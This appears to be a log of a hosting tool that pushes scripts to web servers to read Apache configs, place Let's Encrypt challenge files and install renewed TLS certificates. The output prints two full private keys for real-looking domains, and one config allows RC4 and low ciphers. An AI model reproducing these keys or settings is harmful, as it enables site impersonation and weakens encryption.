jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:02:07: 

chmod 755 /tmp/pkp914904; /tmp/pkp914904; rm /tmp/pkp914904

2025-09-26 06:02:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf	1500

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>







2025-09-26 06:02:07: 

PUT: /tmp/pkp434716

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:02:07: 

chmod 755 /tmp/pkp434716; /tmp/pkp434716; rm /tmp/pkp434716

2025-09-26 06:02:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt	5369
41:e8:5a:a6:28:1c:9d:00:56:6d:57:09:de:0e:14:54

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBcxykVfTTFnH1Hn5VHL3DHKkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzM1WhcNMjUxMjI1MDUwMzM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
qW1FOTHFmqexBUQu1SRTByeiCIplxEyI0yQUW+PGg7k5ViLvHr/dGPPTXOmMfc2h
+Au/HfDG8T4VlgHqpy9Zse9RAPbYHxoR6FiBUxCpurNeQrgpmNEDxGTs1oCXl6E4
YXO9Yq7XMEutI6RIDB2revgWrp41VVex+vEH52xpGkw15+mQgNAwTQa7TTKyPDrs
6jYcFSOWvQH1HM+DIDrBg8Lak50Q0wfeAzOjBUUOAKtw4ZKVOK2sUFv6BMMMrtEJ
tOlFGcHOvu0MJ1rqWhlXXqdHusH72fJuzyGWsG1nnapJTQbTlOsVYIDU260Tk5+O
P5PUiIgy7Lawc2G+KVbqowIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBS2QLLFEXVkDk2JAsey0SLkZFYhFTAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMzcuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHYApELFBklgYVSPD9TqnPt6LSZFTYepfy/fRVn2J086hFQAAAGZ
hJ1P8wAABAMARzBFAiEAllT7NeXQsAoKZsLt5arQuuJHCsui827ShNinJ/wUFJcC
IASuxSJDSLhPzqV63diceyO7f+r7bzuiAcV1zVjNhyr0AHcAzPsPaoVxCWX+lZtT
zumyfCLphVwNl422qX5UwP5MDbAAAAGZhJ1QBQAABAMASDBGAiEAxdGTBnD7gjQr
eW3C8LJjLncsorireD5NTLfGFTG2438CIQDOBdQO23HLdNmSted6eahKUkvMJSIQ
S27JgkGHpaZdADANBgkqhkiG9w0BAQsFAAOCAQEAZ10JxUGgvqXUfju6aELusMIL
Xpd5UGbi7P7nfsr5SshM2LZb+K0m/BkK88wYfxrIoVy73ppOP2dZIlZkb4YUAgz1
9WtZy8dkoqMlchmJv+phttYJpKS4+o5imwxINA0gu1zQnP8UCeNU1yqLfOs6D4/d
T/T4zWr9FnUPEz3V1l6eNu9ziQMGQofBBfYfIv11q7u03KRYWC2sp0GMuVP3jkNH
Q8v5WZU4nAyJncRCHnDxh2h9fKvHrNSk9E4rnCKbKI1WnIIPNq8pRE80IjXHmKxj
sgYfhODAHlsOVlkSIZPTWyactMznlb5EIuTuo3xflYmWXm4t4R5bVXcQTHQ2EA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCpbUU5McWap7EF
RC7VJFMHJ6IIimXETIjTJBRb48aDuTlWIu8ev90Y89Nc6Yx9zaH4C78d8MbxPhWW
AeqnL1mx71EA9tgfGhHoWIFTEKm6s15CuCmY0QPEZOzWgJeXoThhc71irtcwS60j
pEgMHat6+BaunjVVV7H68QfnbGkaTDXn6ZCA0DBNBrtNMrI8OuzqNhwVI5a9AfUc
z4MgOsGDwtqTnRDTB94DM6MFRQ4Aq3DhkpU4raxQW/oEwwyu0Qm06UUZwc6+7Qwn
WupaGVdep0e6wfvZ8m7PIZawbWedqklNBtOU6xVggNTbrROTn44/k9SIiDLstrBz
Yb4pVuqjAgMBAAECggEAWdauMSC6NkKbND6uUqjbOd0DJ2Izij5HAyaLgRorhmdu
BsWpY/W6yGNp/Ud+Dqs+KmgYJEkrRHp2Ob+0bIhIGHjczBUYDo3lVv2vPZuFVJGN
9vTuYbDbPYWCrE8tkuKTIeGcV7p8Moi+Ozr+VSZaam8on9kWULWak4TBey5aIO3R
ZKXy0ZF51O3izzq+lwrSyIgBlCt2OBiNzUAm7oh43RdDf0rtowhLvW6wBFbp85US
07ReDhYnJJ1EJjc7TnqBCDrA74zeNAXa9nMAeYPSaECvnjgdWx1cQRksqm1c7wH/
UtnEiSE79FSl39tkvpx2HIrFh9xHjWoAknAbodVveQKBgQDWmafyw22shAdiBiWf
ilxCQMcpjU7D6VfiOfxcx6uj+FNuRFGy3G+pmTdaI2E6xM4PVwQSMVRnihsrxiGE
bfDL421LHWl6cwptTfNZo9ZnSrvX3inKrDsA5tWlw7VoIwyVF6WQnoJUMcfNmMou
rRNTk4FeKwWvJJMMTWQdDviEnwKBgQDKHKlE/UnqGSJqh4y9Ol0+Evwk3azVkgsj
Wh8TtAGXRnAW0K4NQuvetj4LOvYOOQGdYe2NI8we/+5s9sI6qYOMyo3F8fWeDXWd
mh4XJnvHoHIwgkI51S+If2+a4nbOs4vd4g34i4FjYrZju07EgHdJp+7SXuGlLWIL
aVbkGoA3fQKBgHgqzqrX2CAURnYTbxnpRkQrNdsEr6hwj6+0PKZPgMNumHlUdFMt
sLFNhHtK+HUKI0Dfvv3Y9aSM5y4Z4kbfsUjabybyr0/L/3i5f50gazyn0ovMcaZ1
zwxwNg5+iqRni/IoraNPvzcaMQHlnsGIVRwlqvlqKeKrHlRzOa4z5eGNAoGANkMJ
ou8JuCL1XXp065zOycqZDWDCdThXay9X5pdOUgnkMAvonsDXyJxO/f7fbqQZbeKL
v3fb5nq5zWFWdh9qpRMAiyNR2RQt/pkQ+RAo7UiDP8jI9PPqZhAoq4GfehE0PObi
71as7zziUNZJ6HHBFPJUKQC2Pf14NC4c2PLQd5UCgYB2EKXHzgZEy5EzKqGV7nw+
CVXwEijdpI/M43jvlOCCdyDbq0TU/EFMAda5szFtI9qMp0i1YlpTXqnQjv0SH4aL
vVBGh2kSb5IcHLzcwBYJX8rvF+w/TWJ+G97NzqoPUi+rfT8wqSEoY5LpSQMUv4lZ
LU86Q3E/YbZflxoPI3Xjpw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-26 06:02:08: Establishing a connection
2025-09-26 06:02:08: Establishing a connection
2025-09-26 06:02:08: 

PUT: /tmp/pkp883588

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:02:08: 

chmod 755 /tmp/pkp883588; /tmp/pkp883588; rm /tmp/pkp883588

2025-09-26 06:02:08: 


1


2025-09-26 06:02:09: Establishing a connection
2025-09-26 06:02:09: 

PUT: /tmp/pkp568229

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"


2025-09-26 06:02:09: 

chmod 755 /tmp/pkp568229; /tmp/pkp568229; rm /tmp/pkp568229

2025-09-26 06:02:09: 




2025-09-26 06:02:10: Establishing a connection
2025-09-26 06:02:10: Establishing a connection
2025-09-26 06:02:10: 

PUT: /tmp/pkp380053

#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:02:10: 

chmod 755 /tmp/pkp380053; /tmp/pkp380053; rm /tmp/pkp380053

2025-09-26 06:02:10: 


1


2025-09-26 06:02:10: Establishing a connection
2025-09-26 06:02:11: 

PUT: /tmp/pkp881368

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"


2025-09-26 06:02:11: 

chmod 755 /tmp/pkp881368; /tmp/pkp881368; rm /tmp/pkp881368

2025-09-26 06:02:11: 




2025-09-26 06:02:11: Establishing a connection
2025-09-26 06:02:11: Establishing a connection
2025-09-26 06:02:11: 

PUT: /tmp/pkp431564

#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:02:11: 

chmod 755 /tmp/pkp431564; /tmp/pkp431564; rm /tmp/pkp431564

2025-09-26 06:02:11: 


1


2025-09-26 06:02:12: Establishing a connection
2025-09-26 06:02:12: 

PUT: /tmp/pkp277168

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"


2025-09-26 06:02:12: 

chmod 755 /tmp/pkp277168; /tmp/pkp277168; rm /tmp/pkp277168

2025-09-26 06:02:12: 




2025-09-27 06:00:02: Establishing a connection
2025-09-27 06:00:03: Establishing a connection
2025-09-27 06:00:03: 

PUT: /tmp/pkp749740

#!/bin/bash
if [ -d "/var/www/hostz_aries/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-27 06:00:05: 

chmod 755 /tmp/pkp749740; /tmp/pkp749740; rm /tmp/pkp749740

2025-09-27 06:00:05: 


1


2025-09-27 06:00:06: Establishing a connection
2025-09-27 06:00:06: 

PUT: /tmp/pkp947635

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
cat > 4bMfVaLE2HngXrvOnpjJz5LMHsiyndLGEBA6cNnF8sA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4bMfVaLE2HngXrvOnpjJz5LMHsiyndLGEBA6cNnF8sA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4bMfVaLE2HngXrvOnpjJz5LMHsiyndLGEBA6cNnF8sA


2025-09-27 06:00:06: 

chmod 755 /tmp/pkp947635; /tmp/pkp947635; rm /tmp/pkp947635

2025-09-27 06:00:06: 




2025-09-27 06:00:16: Establishing a connection
2025-09-27 06:00:16: 

PUT: /tmp/pkp609933

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
rm 4bMfVaLE2HngXrvOnpjJz5LMHsiyndLGEBA6cNnF8sA


2025-09-27 06:00:16: 

chmod 755 /tmp/pkp609933; /tmp/pkp609933; rm /tmp/pkp609933

2025-09-27 06:00:16: 




2025-09-27 06:00:16: Establishing a connection
2025-09-27 06:00:16: 

PUT: /tmp/pkp875453

#!/bin/bash
temp_file=$(mktemp)
TARGET=13385323b2ba6119b083bb652d070eb4.crt

cat > $temp_file <<'endmsg'
e2:4f:b0:75:e3:47:c0:0e:96:1b:93:2c:32:73:f2:c6

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBXQH+CCrO9MfvRmAccrlBapgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMTQ1WhcNMjUxMjI2MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCuetEvS0MqAPSXTpXqG7RjMWeFpY34OrKD74k8Ny7Lga1zmOAGYvVpiscstgw+
ira8lrbCg7do0yKrY2Dq7oOWycUxDVsriJmJ/QaYL6cGCfqy0JlCGVbIBS436CMq
Epg0R1wh/Nt5jW5Lor4A6tLstXHW514dTZavlsKk3orgDYJk2cO9jNrEvSpy0QGd
VLqEGJhd0UYg5hp/ZS/fAvSxoGr8RR/yXcS2/SJYhPNdZ4QzwbQDp3UGjdA/PMI1
t+JGVhWmmUlY83vj/rm1y9Z6m7mfrQOwPByuHPjIOTfYBFQo58Pvh6WqXH+yOIwe
qQuSdfd5sQRSsh2sgN6AA0OzAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLup8KZWCqilywcJT3fRoei+Y/pJMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvOTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZicH8hQAABAMARzBFAiEA
2ElXJTvIDWpsqJT4PyzhxYSXhuj6FzSEYUlHzN901YgCIDkebmXyJB412U859iKE
dc6Rv9l0YWBXjcckXeRM3THgAHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYK
LKy7yCoAAAGZicH8zwAABAMARzBFAiEA7jVdGgEhxcK9Gg0WoOJZ2E82VrULE0nm
ai6otFQ52WsCIA3ma3X0KGv19rs3rD0M8N4UUOWW8bZu9YtI41NVJsSUMA0GCSqG
SIb3DQEBCwUAA4IBAQCeI7gWzu3fn7v5Z+Hm1C0zaeghuLiVNTX4sdIsDUqPMecD
CGhkWaEmHWGJjqbWw4d9NNb0UmoLYOXkH08X7cUjKFZm7ZLaOPGr7E9d2R+kCgkC
kIJzOF0tLYUyLdgsy+u+VclcPnSsk1GvaUuzYJCtPjiCOAiJi6qLcllctT34/VE3
g/icf+IHZHB3PAOBrYTCGV+ToviptNmeJD+yb6ZOuQ5eqNmFiKaZkIcU4ERNIpiP
JZG6DWejGvMIj50KlWGFxVshbuahltc71G79wLFEHGo35Et+FLbdrnk+GMJ5GVbp
sb7MFz7QToAoHU3IPmrJucjRTq9Y3mLAB7fft/aV
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuetEvS0MqAPSX
TpXqG7RjMWeFpY34OrKD74k8Ny7Lga1zmOAGYvVpiscstgw+ira8lrbCg7do0yKr
Y2Dq7oOWycUxDVsriJmJ/QaYL6cGCfqy0JlCGVbIBS436CMqEpg0R1wh/Nt5jW5L
or4A6tLstXHW514dTZavlsKk3orgDYJk2cO9jNrEvSpy0QGdVLqEGJhd0UYg5hp/
ZS/fAvSxoGr8RR/yXcS2/SJYhPNdZ4QzwbQDp3UGjdA/PMI1t+JGVhWmmUlY83vj
/rm1y9Z6m7mfrQOwPByuHPjIOTfYBFQo58Pvh6WqXH+yOIweqQuSdfd5sQRSsh2s
gN6AA0OzAgMBAAECggEBAJbBg9ErZIL8hFngCuRWv8wdOedeHobmoKwi4h7nR0WL
bIU/CAI8qvNgd6wIOBgp3q6gQpVbHbQzCfewTGNxZr145Sr28VlyE8gImhQQyG4N
XVH3rxRPtI3q+/5OU2Pc4Sn6pn6vbiteqngry6QbQdhJBm27R7Rl/9cDmna92pyv
YN7dxjP324GuGtGjAhLBx1ABvWJJTg+5tbERJEoAcDFXD9md5VpWBMeau1yX8BNs
K5ViwYfCmzm39oJf7zp/Nd+zBEpX4TZxRZ0VPGLtSn28HG0V1p0XqytSe38wCduD
v8/Xq9sLg52mjuLBN3Ug7kRu7IwQapvOdDviLFAP6DECgYEA5t3lwXURd436hP4r
1wIU8fj6+DCRaIyuOt69L2gr0g87WpDKgTYLRv32yMc7tfsVvGcCoZ0WueI+VBIJ
CcxTB4QYGPx4Zx8Nvcw8zdPAwgua7srGgN29gMibQiNxBHi3aZx9oM5LSfX+WMte
MSWMvrxPQZYrMZY6wLCi/qTUbEUCgYEAwXlza79mNHzxxRNwELrcIjGUSKSkonfa
74mfgWUWi2AYQgLNrGowhB3zjoKdTFeRUlJo1hSgyzd285AQGPeJsGcmtFVMNHNf
tPfRbjOTEiQynJ9qxozO6royuIH9yV5REcYKS7JzHL3J3UJyHJeeyzwHVMHo+zu7
zN/YKL2tu5cCgYB/dxRbc59pOuKOeycJVwTpdGZckbQ23TV1G3WorwNCv1Yt8rNc
E9K2J5IR2K6HE1I060rwoCLkDp4LHMoQttdA1xXW9c4kYWjc2d7YZYmPmYi5PwvK
KqNub1QJeDf2GBBsJxLVrhCzjTYZIG+pAupqhN3dgGPoxOE7cksL/UWrYQKBgQCR
3wQLBPAGOv3+XL1tn7VBgqgObTRD2qITYGwGnzT0OKuReZOgnx+dPQfZNtlqKcvD
iabJYhwpm9Pvp3q7mEcT3XHtHTKriSFrzDz3HaORVgFi3T8gHCIWD/UV78xs+tOc
1vgEQrNPxDhivipTLG3pRYUxflIuucbKnSrY7MoEWQKBgCi5R+qy5V/Tko1Gh0TA
lpciOw7Fv96G10Qjn3TSMxFKpKt2OhSLczlQBObO9Pi/w93OlAzuGYz9mnM99x7F
tiXwycwEGKfqKZ6u3xEbk2i3ZzRmJstKyGyZCla5HwRGzJO6co/xd7eM5Ktvh5ea
GX3DIQ3xFpkjrgdJTL8i15JU
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-27 06:00:16: 

chmod 755 /tmp/pkp875453; /tmp/pkp875453; rm /tmp/pkp875453

2025-09-27 06:00:16: 


dir=/etc/ssl/certs


2025-09-27 06:00:16: 

PUT: /tmp/pkp202507

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_aries_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-27 06:00:16: 

chmod 755 /tmp/pkp202507; /tmp/pkp202507; rm /tmp/pkp202507

2025-09-27 06:00:16: 
(gzipped output)


